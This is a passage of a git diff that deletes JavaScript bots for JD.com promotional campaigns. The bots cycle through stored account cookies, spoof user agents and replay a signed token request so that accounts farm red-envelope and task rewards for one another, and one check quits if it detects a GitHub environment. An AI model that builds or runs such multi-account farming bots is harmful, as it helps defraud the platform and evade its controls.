t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_dyj_help.js b/backUp/jd_dyj_help.js deleted file mode 100644 index 043ec3e..0000000 --- a/backUp/jd_dyj_help.js +++ /dev/null @@ -1,527 +0,0 @@ -/* -发财大赢家助力 -更新时间:2021-7-15 -0 0 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_dyj_help.js -*/ -const $ = new Env("发财大赢家助力") -const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` -let cookiesArr = [] -let pins = process.env.dyjHelpPins ?? "" -let cookie = '' -let helps = [] -let tools = [] - -!(async () => { - await requireConfig() - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - return; - } - if(!pins){ - console.log("请设置环境变量dyjHelpPins") - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - pin = cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] - if(pins && pins.indexOf(pin)!=-1){ - data = await openRedEnvelopeInteract({}, cookie) - if(data?.code==16020)continue - data = await redEnvelopeInteractHome() - redEnvelopeId = data?.data?.redEnvelopeId - markedPin = data?.data?.markedPin - amount = data?.data?.amount - helps.push({id: i, redEnvelopeId: redEnvelopeId, markedPin: markedPin}) - } - tools.push({id: i, cookie: cookie}) - } - while (helps.length && tools.length) { - tool = tools.pop() - cookie = tool.cookie - data = await openRedEnvelopeInteract({redEnvelopeId: helps[0].redEnvelopeId,inviter: helps[0].markedPin, helpType:"1"}) - errMsg = data?.data?.helpResult?.errMsg - if(errMsg){ - console.log(`${tool.id}->${helps[0].id} ${errMsg}`) - if(errMsg.indexOf("成功提现")!=-1){ - console.log(errMsg) - helps.shift() - tools.unshift(tool) - } - } - } -})() -function openRedEnvelopeInteract(body = {}) { - body.linkId = "yMVR-_QKRd2Mq27xguJG-w" - return new Promise(resolve => { - $.get({ - url: "https://api.m.jd.com/?functionId=openRedEnvelopeInteract&body="+JSON.stringify(body)+"&t=" + Date.now() + "&appid=activities_platform&clientVersion=3.5.6", - headers: { - 'Cookie': cookie, - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Accept-Encoding': 'gzip, deflate, br', - 'User-Agent': ua, - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Host': 'api.m.jd.com', - 'Origin': 'https://wbbny.m.jd.com' - }, - }, (err, resp, data) => { - try { - data = JSON.parse(data) - } catch (e) { - $.logErr('Error: ', e, resp) - } finally { - resolve(data) - } - }) - }) - } - - function redEnvelopeInteractHome() { - return new Promise(resolve => { - $.get({ - url: "https://api.m.jd.com/?functionId=redEnvelopeInteractHome&body={%22linkId%22:%22yMVR-_QKRd2Mq27xguJG-w%22,%22redEnvelopeId%22:%22%22,%22inviter%22:%22%22,%22helpType%22:%22%22}&t=" + Date.now() + "&appid=activities_platform&clientVersion=3.5.6", - headers: { - 'Cookie': cookie, - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Accept-Encoding': 'gzip, deflate, br', - 'User-Agent': ua, - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Host': 'api.m.jd.com', - 'Origin': 'https://wbbny.m.jd.com' - }, - }, (err, resp, data) => { - try { - data = JSON.parse(data) - if(data.data){ - console.log(data.data.bizMsg) - } - if(data.errorMessage){ - console.log(data.errorMessage) - } - } catch (e) { - $.logErr('Error: ', e, resp) - } finally { - resolve(data) - } - }) - }) - } - -function requireConfig() { - return new Promise(resolve => { - notify = $.isNode() ? require('./sendNotify') : ''; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - resolve() - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", - a = t.length, - n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch (e) { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch (e) { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } : this.isSurge() ? { - url: t - } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/backUp/jd_esManager.js b/backUp/jd_esManager.js deleted file mode 100644 index 5896088..0000000 --- a/backUp/jd_esManager.js +++ /dev/null @@ -1,411 +0,0 @@ -const $ = new Env('东东电竞经理'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let cookiesArr = []; -let Authorization = ``; -$.inviteList = []; -$.authorizationInfo = {}; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await esManager(); - } - for (let i = 0; i < cookiesArr.length; i++) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - if (!$.authorizationInfo[$.UserName]) { - continue; - } - $.canHelp = true; - Authorization = $.authorizationInfo[$.UserName] - for (let j = 0; j < $.inviteList.length && $.canHelp; j++) { - $.oneInviteInfo = $.inviteList[j]; - if ($.oneInviteInfo.needTime === 0 || $.oneInviteInfo.user === $.UserName) { - continue; - } - console.log(`${$.UserName}去助力${$.oneInviteInfo.user},助力码:${$.oneInviteInfo.token},用户:${$.oneInviteInfo.openid}`) - await takePostRequest('do_assist_task'); - await $.wait(2000); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function esManager() { - try { - $.token = ''; - Authorization = ''; - $.userInfo = {};//用户信息 - $.produceStatusInfo = {};//电量信息 - $.taskList = [];//任务列表 - await getToken(); - await $.wait(1000); - if (!$.token) { - console.log(`获取Token失败`); - return; - } - await takePostRequest('Authorization'); - if (!Authorization) { - console.log(`获取Authorization失败`); - return; - } - // console.log(Authorization); - await $.wait(1000); - await takeGetRequest('user'); - await $.wait(1000); - if (JSON.stringify($.userInfo) === '{}') { - console.log('获取活动信息异常'); - return; - } else { - $.authorizationInfo[$.UserName] = Authorization; - console.log('获取活动信息成功'); - } - - await takeGetRequest('produce_status'); - //console.log(JSON.stringify($.produceStatusInfo)); - console.log(`发电机电力${$.produceStatusInfo.coins}`); - if (JSON.stringify($.produceStatusInfo) !== '{}' && Number($.produceStatusInfo.coins) > 10) { - console.log('收取发电机电量'); - await $.wait(2000); - await takePostRequest('get_produce_coins'); - } - await $.wait(1000); - await takeGetRequest('task'); - if ($.taskList.length > 0) { - await daTask(); - } - await $.wait(1000); - } catch (e) { - $.logErr(e) - } -} - -async function daTask() { - for (let i = 0; i < $.taskList.length; i++) { - $.oneTask = $.taskList[i]; - if ($.oneTask.status !== '1') { - if ($.oneTask.status === '2') { - console.log(`任务,${$.oneTask.task_name},已完成`) - } - continue; - } - if ($.oneTask.task_type === '6') { - console.log(`助力码:${$.oneTask.assist_task_detail_vo.task_token}`); - let oneInfo = { - 'user': $.UserName, - 'openid': $.userInfo.openid, - 'token': $.oneTask.assist_task_detail_vo.task_token, - 'needTime': Number($.oneTask.max_times) - Number($.oneTask.times), - }; - $.inviteList.push(oneInfo); - } else if ($.oneTask.task_type === '13') { - console.log(`去做任务,${$.oneTask.task_name}`) - $.onetToken = $.oneTask.simple_record_info_vo; - await takePostRequest('do_task'); - } else if ( - $.oneTask.task_type === '5' || - $.oneTask.task_type === '3' || - $.oneTask.task_type === '2' || - $.oneTask.task_type === '26' || - $.oneTask.task_type === '1' - ) { - $.tokenList = $.oneTask.browse_shop_vo || $.oneTask.shopping_activity_vos || $.oneTask.product_info_vos || $.oneTask.follow_shop_vo; - for (let j = 0; j < $.tokenList.length; j++) { - $.onetToken = $.tokenList[j]; - if ($.onetToken.status !== '1') { - continue; - } - console.log(`去做任务,${$.oneTask.task_name},${$.onetToken.shop_name || $.onetToken.title || $.onetToken.sku_name}`); - await takePostRequest('do_task'); - await $.wait(3000); - } - } - } -} - -async function takePostRequest(type) { - let url = ``; - let body = ``; - let myRequest = ``; - switch (type) { - case 'get_produce_coins': - url = `https://xinruidddj-isv.isvjcloud.com/api/club/get_produce_coins`; - myRequest = getGetRequest(url, body); - break; - case 'do_task': - url = `https://xinruidddj-isv.isvjcloud.com/api/task/do_task`; - body = `token=${$.onetToken.task_token}&task_id=${$.oneTask.task_id}&task_type=${$.oneTask.task_type}` - myRequest = getPostRequest(url, body); - break; - case 'Authorization': - url = `https://xinruidddj-isv.isvjcloud.com/api/user/jd/auth`; - body = `token=${$.token}` - myRequest = getPostRequest(url, body); - break; - case 'do_assist_task': - url = `https://xinruidddj-isv.isvjcloud.com/api/task/do_assist_task`; - body = `token=${$.oneInviteInfo.token}&inviter=${$.oneInviteInfo.openid}` - myRequest = getPostRequest(url, body); - break; - default: - console.log(`错误${type}`); - } - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function getToken() { - const url = `https://api.m.jd.com/client.action?functionId=isvObfuscator`; - const method = `POST`; - const headers = { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Accept": "*/*", - "Connection": "keep-alive", - 'Cookie': $.cookie, - UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - let body = `body=%7B%22url%22%3A%20%22https%3A//xinruidddj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=1d94feefe44e4ebcba2192421189a52a&client=apple&clientVersion=9.4.0&st=1623830118000&sv=102&sign=9bd23a7b74b59d88d751e21f19455db7`; - let myRequest = {url: url, method: method, headers: headers, body: body}; - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.code === '0') { - $.token = data.token; - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) - -} - -function dealReturn(type, data) { - data = JSON.parse(data); - switch (type) { - case 'Authorization': - if (data.status === '0') { - Authorization = data.body.access_token; - } else { - console.log(`异常:${JSON.stringify(data)}\n`); - } - break; - case 'user': - if (data.status === '0') { - $.userInfo = data.body; - } else { - console.log(`获取信息异常:${JSON.stringify(data)}\n`); - } - break; - case 'produce_status': - if (data.status === '0') { - $.produceStatusInfo = data.body; - } else { - console.log(`异常:${JSON.stringify(data)}\n`); - } - break; - case 'get_produce_coins': - if (data.status === '0') { - console.log(`收取成功获得:${data.body.coins}`); - } else { - console.log(`收取异常:${JSON.stringify(data)}\n`); - } - break; - case 'task': - if (data.status === '0') { - $.taskList = data.body.task_vos; - } else { - console.log(`异常:${JSON.stringify(data)}\n`); - } - break; - case 'do_task': - if (data.status === '0') { - console.log(`任务完成,获得:${data.body.result.score || 0}`); - } else { - console.log(`异常:${JSON.stringify(data)}\n`); - } - break; - case 'do_assist_task': - if (data.status === '0') { - console.log(`助力成功`); - $.oneInviteInfo.needTime -= 1; - } else if (data.status === '108') { - console.log(JSON.stringify(data)); - console.log(`助力次数已用完`); - $.canHelp = false; - } else if (data.status === '108') { - console.log(JSON.stringify(data)); - console.log(`助力已满`); - $.oneInviteInfo.needTime = 0; - } else { - console.log(JSON.stringify(data)); - } - break; - default: - console.log(JSON.stringify(data)); - } -} - -async function takeGetRequest(type) { - let url = ``; - let myRequest = ``; - switch (type) { - case 'user': - url = `https://xinruidddj-isv.isvjcloud.com/api/uc/user`; - myRequest = getGetRequest(url); - break; - case 'produce_status': - url = `https://xinruidddj-isv.isvjcloud.com/api/club/produce_status`; - myRequest = getGetRequest(url); - break; - case 'task': - url = `https://xinruidddj-isv.isvjcloud.com/api/task/detail`; - myRequest = getGetRequest(url); - break; - case 'Authorization': - url = `https://xinruidddj-isv.isvjcloud.com/api/task/detail`; - myRequest = getGetRequest(url); - break; - default: - console.log(`错误${type}`); - } - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getPostRequest(url, body) { - const method = `POST`; - const headers = { - 'Accept-Encoding': `gzip, deflate, br`, - 'Cookie': $.cookie, - 'Connection': `keep-alive`, - 'Content-Type': `application/x-www-form-urlencoded`, - 'Accept': `application/json, text/plain, */*`, - 'Host': `xinruidddj-isv.isvjcloud.com`, - UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Authorization': Authorization, - 'Referer': `https://xinruidddj-isv.isvjcloud.com/exception/`, - 'Accept-Language': `zh-cn` - }; - return {url: url, method: method, headers: headers, body: body}; -} - -function getGetRequest(url) { - const method = `GET`; - const headers = { - 'Accept-Encoding': `gzip, deflate, br`, - 'Cookie': $.cookie, - 'Connection': `keep-alive`, - 'Content-Type': `application/x-www-form-urlencoded`, - 'Accept': `application/json, text/plain, */*`, - 'Host': `xinruidddj-isv.isvjcloud.com`, - UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Authorization': Authorization, - 'Referer': `https://xinruidddj-isv.isvjcloud.com/exception/`, - 'Accept-Language': `zh-cn` - }; - return {url: url, method: method, headers: headers}; -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: $.cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT 